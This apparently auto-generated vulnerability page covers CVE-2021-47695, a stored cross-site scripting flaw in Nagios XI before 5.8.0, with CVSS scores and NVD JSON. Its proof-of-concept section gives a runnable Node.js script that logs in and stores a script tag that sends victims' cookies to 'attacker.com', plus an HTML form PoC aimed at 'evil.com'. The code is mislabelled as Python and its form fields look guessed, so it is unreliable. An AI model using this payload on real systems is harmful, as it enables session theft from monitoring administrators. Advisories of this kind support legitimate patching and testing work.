Security Vulnerability Report
中文
CVE-2021-47695 CVSS 5.4 MEDIUM

CVE-2021-47695

Published: 2025-10-30 22:15:41
Last Modified: 2025-11-05 18:22:55

Description

Nagios XI versions prior to 5.8.0 are vulnerable to stored cross-site scripting (XSS) via the My Tools page. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2021-47695 PoC - Stored XSS in Nagios XI My Tools Page // Author: VulnCheck // Target: Nagios XI < 5.8.0 const axios = require('axios'); async function exploitCVE202147695() { const target = 'http://target-nagios-xi.local'; const username = 'attacker'; const password = 'password123'; // Step 1: Login to Nagios XI const loginUrl = `${target}/nagiosxi/login.php`; const loginData = new URLSearchParams({ username: username, password: password, 'loginButton': 'Login' }); const loginResponse = await axios.post(loginUrl, loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, maxRedirects: 0, validateStatus: (status) => status === 302 }); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Logged in successfully'); // Step 2: Inject XSS payload into My Tools page const myToolsUrl = `${target}/nagiosxi/config/mytools.php`; const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; const toolData = new URLSearchParams({ 'tool_name': 'Malicious Tool' + xssPayload, 'tool_url': 'http://malicious-site.com', 'add_tool': 'Add Tool' }); await axios.post(myToolsUrl, toolData, { headers: { 'Cookie': cookies.join('; '), 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when any user visits My Tools page'); } exploitCVE202147695().catch(console.error); // Simple HTML PoC for manual testing: // <html> // <body> // <form action="http://target/nagiosxi/config/mytools.php" method="POST"> // <input type="hidden" name="tool_name" value="<script>alert(document.domain)</script>"> // <input type="hidden" name="tool_url" value="http://evil.com"> // <input type="hidden" name="add_tool" value="Add Tool"> // <input type="submit" value="Exploit"> // </form> // </body> // </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47695", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:40.950", "lastModified": "2025-11-05T18:22:54.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.8.0 are vulnerable to stored cross-site scripting (XSS) via the My Tools page. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.0", "matchCriteriaId": "5C5E0E33-4BD8-4FFE-9DF3-DB42D84495CB"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-my-tools-page", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}